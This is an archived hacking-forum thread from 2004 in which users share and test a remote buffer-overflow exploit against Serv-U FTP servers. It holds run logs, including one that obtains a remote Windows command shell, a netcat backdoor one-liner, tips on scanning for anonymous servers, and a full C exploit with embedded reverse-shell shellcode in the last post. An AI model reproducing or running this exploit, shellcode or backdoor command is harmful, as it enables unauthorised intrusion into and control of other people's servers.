hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Serv-u Ftpd 3.x/4.x
totof
Serv-U FTPD 3.x/4.x "SITE CHMOD" remote overflow exploit V1.0
Bug found by kkqq kkqq@0x557.org, Code By lion (lion@cnhonker.net)
Welcome to HUC website http://www.cnhonker.com;

Usage: servu.exe <-i ip> <-t type>
[-u user] [-p pass] [-d dir]
[-f ftpport] [-c cbhost] [-s shellport]

[type]:
0 0x7ffa4a1b Serv-U v3.0.0.20~v4.1.0.11 GB 2K/XP ALL
1 0x7ffa2186 Serv-U v3.0.0.20~v4.1.0.11 BG 2K/XP ALL
2 0x6dee6713 Serv-U v3.0.0.20~v4.1.0.11 KR 2K SP4
3 0x77886713 Serv-U v3.0.0.20~v4.1.0.11 EN 2K SP4
4 0x76b42a3a Serv-U v3.0.0.20~v4.1.0.11 EN XP SP1

have nice day biggrin.gif
x1`
what if u dont know the user and password?

also how do u type port ip port or ip:port
ADiCToJUeGO
THX! Good Work biggrin.gif
AlessandroIT
I Think it don't work...It will crash all FTP SErver dry.gif

h:\servu>servu -i *.*.*.* -t 0 -u alez -p alez -d temp -f 5554 -s 80
Serv-U FTPD 3.x/4.x "SITE CHMOD" remote overflow exploit V1.0
Bug found by kkqq kkqq@0x557.org, Code By lion (lion@cnhonker.net)
Welcome to HUC website http://www.cnhonker.com;r

9:/temp/xxx
[+] Connect to *.*.*.*:5554 success.
[+] Recv: 220 Serv-U FTP Server v4.1 for WinSock ready...
[+] Send: USER alez
[+] Recv: 331 User name okay, need password.
[+] Send: PASS alez
[+] Recv: 230 User logged in, proceed.
[+] Send: TYPE I
[+] Recv: 200 Type set to I.
[+] Send shellcode 808 bytes.
[+] If you don't have a shell it didn't work.
[+] Connect to shell...
[-] Exploit seem failed.

h:\servu>

It Always say that
ThEWaTcHeR
many thanks totof, i will test it
-=[MePhIsTo]=-
many thx
hope it works wink.gif
jubbly
thanx for this i'm gonna test it on my workbench pc and maybe update my or even stop using my serv-u
blackP0ster
first thx for the exploit smile.gif

but it didn't work sad.gif

CODE

C:\>servu -i 192.168.0.4 -t 3 -u admin1 -p cheffe01 -d c:\ -f 5551 -c 192.168.0.
4 -s 1234
Serv-U FTPD 3.x/4.x "SITE CHMOD" remote overflow exploit V1.0
Bug found by kkqq kkqq@0x557.org, Code By lion (lion@cnhonker.net)
Welcome to HUC website http://www.cnhonker.com;r

9:/c:\/xxxx
[+] Connect to 192.168.0.4:5551 success.
[+] Bind port on 192.168.0.4:1234 success.
[+] Recv: 220 BB Microsoft FTP Service (Version 5.0).
[+] Send: USER admin1
[+] Recv: 331 User name okay, need password.
[+] Send: PASS cheffe01
[+] Recv: 230-blackblizzard server system
[+] Send: PORT 192,168,0,4,4,210
[+] Recv: 230-blackblizzard server system
[+] Send shellcode 791 bytes.
[+] If you don't have a shell it didn't work.
[+] Wait for shell...


but i didn't get a shell sad.gif

black
Milka
got the same as balckp0ster hmmz
Hellraiseruk
herd it don't work but i give it ago cheerz m8 biggrin.gif
EXPLOiTED
220- ñ 0 Hours
[+] Send: PASS god
[+] Recv: 220-|ñ 0 Minutes
[+] Send: TYPE I
[+] Recv: 220- ñ 7 Seconds
[+] Send shellcode 807 bytes.
[+] If you don't have a shell it didn't work.
[+] Connect to shell...
[-] Exploit seem failed.

C:\>

DAN..no shell yet.....Good work..but lets get that shell working!
T3cHn0b0y
Crashes the server but doesnt execute any arbitrary code or the correct code atleast.

Even if the exploit worked, the person would still need permission to create directories. Dangerous to RAQ admins etc I guess...but nobodies changing the directory structure of my FS except me! wink.gif
Wolfman
I'v made a few tests myself, and also without any luck.
All i get is to stop the serv-u.
Another "DoS" tool.
Tom
U'r Site is down.
jubbly
/me feels a little stupid but what is cbhost?

also blackP0ster from the banner you recieved your trying it against the wrong kind of ftp server d'oh unless it's customised

CODE
[+] Recv: 220 BB Microsoft FTP Service (Version 5.0).


doesn't exactly look like serv-u does it?
^RB^
QUOTE (jubbly @ Jan 27 2004, 08:49 AM)
/me feels a little stupid but what is cbhost?

also blackP0ster from the banner you recieved your trying it against the wrong kind of ftp server d'oh unless it's customised

CODE
[+] Recv: 220 BB Microsoft FTP Service (Version 5.0).


doesn't exactly look like serv-u does it?

In Serv-U you can put whatever you want in that line...
And since he was testing it on his own network (192.168.*.*) I *think* he's pretty sure he was using Serv-U... smile.gif


Thanks for the tool though!!!!



^RB^

OleaSTeR
this exploit work fine tongue.gif ...

c:\>servu -i 192.168.0.1 -t 3 -u oleaster -p XXXX -f 21 -c 127.0.0.1 -s 5555
Serv-U FTPD 3.x/4.x "SITE CHMOD" remote overflow exploit V1.0
Bug found by kkqq kkqq@0x557.org, Code By lion (lion@cnhonker.net)
Welcome to HUC website http://www.cnhonker.com;r

[+] Connect to 192.168.0.1:21 success.
[+] Bind port on 127.0.0.1:5555 success.
[+] Recv: 220-Serv-U FTP Server v4.2 for WinSock ready...
220-
220
[+] Send: PASS XXXX
[+] Recv: 331 User name okay, need password.
[+] Send: PORT 121,0,0,1,21,179
[+] Recv: 230-n++
230-
[+] Send shellcode 790 bytes.
[+] If you don't have a shell it didn't work.
[+] Wait for shell...
[+] Exploit success! Good luck!
[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-2000 Microsoft Corp.

C:\>
C:\>dir

dir
Volume in drive C has no label.
Volume Serial Number is F401-144A

Directory of C:\
...
...
...

==========

target description:

Serv-U FTP Server v4.2 beta (4.1.0.8)

Kernel version: Microsoft Windows 2000, Uniprocessor Free
Product type: Server
Product version: 5.0
Service pack: 4
Kernel build number: 2195

=============


wink.gif
x1`
what the point in hacking it if i know the password ?
it would be better for a exploit with no pass needed
Thom
I agree with dicky, whats the point? If you got pass and user you can always, site exec nc.exe -d -t -L -p 666 -e cmd.exe...
Double-=V=-
There are many anonymous serv-u ftp servers who allow anymous to make dirs.
Checkz
QUOTE (Double-=V=- @ Jan 27 2004, 01:59 PM)
There are many anonymous serv-u ftp servers who allow anymous to make dirs.

never saw one huh.gif
AlessandroIT
QUOTE (Checkz @ Jan 27 2004, 02:13 PM)
QUOTE (Double-=V=- @ Jan 27 2004, 01:59 PM)
There are many anonymous serv-u ftp servers who allow anymous to make dirs.

never saw one huh.gif

The most part of anonymous tongue.gif

It work perfectly!!! biggrin.gif
ivan288
nice work guys will try it. thanx
Soulwax
Thx alot gonna check this on out, I'll tell later if it worked for me.

Soulwax
blackP0ster
i've changed my banner..workin with serv-u 4.1 smile.gif

but what's the effect of that exploit? if you have the user+pwd of a ftp server and the rights, you can always do what you want. don't need that exploit, don't i?
jead99
Thanks for sharing the info, the exploit works fine smile.gif
x1`
so do u leave it blank if its anonymous or what ?
what would the command look like
x1`
ok whats the best way to scan for this ,

i used dsns scanner for port 21 then fx scanner to test for anonymous login
how can i load a list of ips that will get the servu banners only
Double-=V=-
If i would scan for this,
I would do scan500, then scanline, then grim's ping.
BLaCkOuT
nice work wink.gif
night^man
thx very nice
work perfectly ;]
seppel18
dont work for me sad.gif

testet with servu 4.1.0.3 on Win2k SP4 English with 0x77886713 offset

No shell.... dry.gif
Anarchy
#3

CODE

/*
date: 25 janv 2004
software: Serv-U 4.1.0.0 (prolly others)
vendor: RhinoSoft, http://www.serv-u.com/
credits: kkqq <kkqq@0x557.org>, http://www.0x557.org/release/servu.txt
greets: rosecurity team, int3liban
notes: should work on any NT, reverse bindshell, terminates the process
properly handle directories
author: mandragore, sploiting@mandragore.solidshells.com

cheap changelog:
27 jan 2004 improved banners handling (select()'s),
added listener,
default ip gathering (needs ifconfig & gawk)

*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>

#define fatal(x) { perror(x); exit(1); }

unsigned char sc[]={
// reverse bindshell, 204 bytes, uses import table
0x33,0xC0,0x04,0xB6,0x68,0xE2,0xFA,0xC3,0xCC,0x68,0x80,0x36,0x96,0x46,0x50,0x68,

0x8B,0x34,0x24,0xB9,0xFF,0xD4,0xF2,0xF1,0x19,0x90,0x96,0x96,0x28,0x6E,0xE5,0xC9,

0x96,0xFE,0xA5,0xA4,0x96,0x96,0xFE,0xE1,0xE5,0xA4,0xC9,0xC2,0x69,0x83,0xE2,0xE2,

0xC9,0x96,0x01,0x0F,0xC4,0xC4,0xC4,0xC4,0xD4,0xC4,0xD4,0xC4,0x7E,0x9D,0x96,0x96,

0x96,0xC1,0xC5,0xD7,0xC5,0xF9,0xF5,0xFD,0xF3,0xE2,0xD7,0x96,0xC1,0x69,0x80,0x69,

0x46,0x05,0xFE,0xE9,0x96,0x96,0x97,0xFE,0x94,0x96,0x96,0xC6,0x1D,0x52,0xFC,0x86,

0xC6,0xC5,0x7E,0x9E,0x96,0x96,0x96,0xF5,0xF9,0xF8,0xF8,0xF3,0xF5,0xE2,0x96,0xC1,

0x69,0x80,0x69,0x46,0xFC,0x86,0xCF,0x1D,0x6A,0xC1,0x95,0x6F,0xC1,0x65,0x3D,0x1D,

0xAA,0xB2,0xC6,0xC6,0xC6,0xFC,0x97,0xC6,0xC6,0x7E,0x92,0x96,0x96,0x96,0xF5,0xFB,

0xF2,0x96,0xC6,0x7E,0x99,0x96,0x96,0x96,0xD5,0xE4,0xF3,0xF7,0xE2,0xF3,0xC6,0xE4,

0xF9,0xF5,0xF3,0xE5,0xE5,0xD7,0x96,0x50,0x91,0xD2,0x51,0xD1,0xBA,0x97,0x97,0x96,

0x96,0x15,0x51,0xAE,0x05,0x3D,0x3D,0x3D,0xF2,0xF1,0x37,0xA6,0x96,0x1D,0xD6,0x9A,

0x1D,0xD6,0x8A,0x1D,0x96,0x69,0xE6,0x9E,0x69,0x80,0x69,0x46
};

char *user="anonymous";
char *pass="not@for.you";
char *path="/incoming";

int s, ret;
char *buff;
int verbose=0;
struct sockaddr_in saddr;
int lhost, lport=8888;

void usage(char *argv0) {
printf("usage: %s -d <ip_dest> [options]\n",argv0);
printf("options:\n");
printf(" -d target ip\n");
printf(" -p target port (default 21)\n");
printf(" -u username to log with (default %s)\n",user);
printf(" -s password to log with (default %s)\n",pass);
printf(" -w writable directory (default %s)\n",path);
printf(" -H listening host (default %s)\n", \
inet_ntoa(*(struct in_addr *)&lhost));
printf(" -P listening port on host (default %d)\n",lport);
printf(" -v verbose (set to 1 to enable)\n");
printf("\n");
exit(1);
}

void reads() {
fd_set fds;
struct timeval tv;

__next:
ret=recv(s,buff,4095,0);
memset(buff+ret,0,1);
if (verbose) printf("%s",buff);

FD_ZERO(&fds);
FD_SET(s,&fds);
tv.tv_sec = 1; tv.tv_usec = 0;
if (select(s+1, &fds, NULL, NULL, &tv)!=0)
goto __next;
}

int getip() {
char buff[17]="";
FILE *f;

f=popen("echo -n `/sbin/ifconfig|grep Bcast|" \
"gawk '{\\$0=gensub(/:/,\" \",1);print $3;exit;}'`","r");
fgets(buff,16,f);
pclose(f);

return inet_addr(buff);
}

void callback(int port) {
fd_set fds;
int s_len=sizeof(saddr);
int sn;

buff=(char *)malloc(4096);

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = 0;
saddr.sin_port = htons(port);
printf("[.] setting up listener on port %d..\n",port);
s=socket(2,1,6);
ret=bind(s,(struct sockaddr *)&saddr, sizeof(saddr));
if (ret==-1) {
// we don't want to crash servu if not needed
perror("[-] shell.bind");
kill(getppid(),SIGUSR1);
exit(1);
}
listen(s,1);
sn=accept(s,(struct sockaddr *)&saddr,&s_len);
printf("[+] got connection from %s, entering shell..\n", \
inet_ntoa(*(struct in_addr *)&saddr.sin_addr.s_addr));

while(1) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sn,&fds);

if (select(sn+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select ");

if (FD_ISSET(0,&fds)) {
ret = read(1,buff,4096);
send(sn,buff,ret,0);
}

if (FD_ISSET(sn,&fds)) {
if ( (ret=recv(sn,buff,4096,0)) < 1 )
fatal("[-] shell.recv");
write(1,buff,ret);
}

}

}

void killchild() {
printf("[-] got signal from parent, exiting.\n");
exit(1);
}

void killmain() {
printf("[-] got signal from child, exiting.\n");
exit(1);
}

int main(int argc, char **argv) {
short port=21;
int target=0;
int i, pid;

int delta=423;
int callebx=0x10077A92; // libeay32.dll
char jmpback[]="\xe9\xff\xfe\xff\xff\xeb\xf9\x90\x90"; // jmp -256
char chmod[]="SITE CHMOD 777 ";

printf("[%%] Serv-u v4.1.0.0 sploit by mandragore (v2)\n");

lhost=getip();

if (argc<2)
usage(argv[0]);

while((i = getopt(argc, argv, "d:p:u:s:w:H:P:v:"))!= EOF) {
switch (i) {
case 'd':
target=inet_addr(optarg);
break;
case 'p':
port=atoi(optarg);
break;
case 'u':
user=optarg;
break;
case 's':
pass=optarg;
break;
case 'w':
path=optarg;
break;
case 'H':
lhost=inet_addr(optarg);
break;
case 'P':
lport=atoi(optarg);
break;
case 'v':
verbose=atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}

if ((target==-1) || (lhost==-1) || (lhost==0))
usage(argv[0]);

printf("[.] if working you'll have a shell on %s:%d.\n", \
inet_ntoa(*(struct in_addr *)&lhost),lport);
printf("[.] launching attack on ftp://%s:%s@%s:%d%s\n", \
user,pass,inet_ntoa(*(struct in_addr *)&target),port,path);

pid=fork();
switch(pid) {
case 0:
signal(SIGUSR1,killchild);
callback(lport);
break;
default:
signal(SIGUSR1,killmain);
break;
}

lport=lport ^ 0x9696;
lport=(lport & 0xff) << 8 | lport >>8;
memcpy(sc+0x5a,&lport,2);

lhost=lhost ^ 0x96969696;
memcpy(sc+0x53,&lhost,4);

buff=(char *)malloc(4096);

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = target;
saddr.sin_port = htons(port);

s=socket(2,1,6);

ret=connect(s,(struct sockaddr *)&saddr, sizeof(saddr));
if (ret==-1) {
kill(pid,SIGUSR1); sleep(1);
fatal("[-] connect()");
}
reads();

sprintf(buff,"USER %s\r\n",user);
if (verbose) printf("%s",buff);
send(s,buff,strlen(buff),0);

reads();

sprintf(buff,"PASS %s\r\n",pass);
if (verbose) printf("%s",buff);
send(s,buff,strlen(buff),0);

reads();

if (strstr(buff,"230")==0) {
printf("[-] can't login\n");
exit(1);
} else
printf("[+] logged in.\n");

sprintf(buff,"CWD %s\r\n",path);
if (verbose) printf("%s",buff);
send(s,buff,strlen(buff),0);

reads();

// verify directory
sprintf(buff,"PWD\r\n",path);
send(s,buff,strlen(buff),0);
ret=recv(s,buff,1024,0);
memset(buff+ret,0,1);
i=strstr(buff+5,"\x22")-buff-5;
if (i!=1) i++; // trailing /

printf("[+] sending exploit..\n");

bzero(buff,4096);
memset(buff,0x90,600);
strcat(buff,"\r\n");
delta-=i; // strlen(path);
memcpy(buff,&chmod,strlen(chmod));
memcpy(buff+delta-9-strlen(sc),&sc,strlen(sc));
memcpy(buff+delta-9,&jmpback,5+4);
memcpy(buff+delta,&callebx,4);

send(s,buff,602,0);

ret=recv(s,buff,1024,0);
if ((ret==0) || (ret==-1)) {
kill(pid,SIGUSR1); sleep(1);
sleep(1);
fatal("[+] done");
}

printf("[-] remote servu isn't vulnerable.\n");
memset(buff+ret,0,1);
printf("%s",buff);

close(s);

exit(0);
}

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.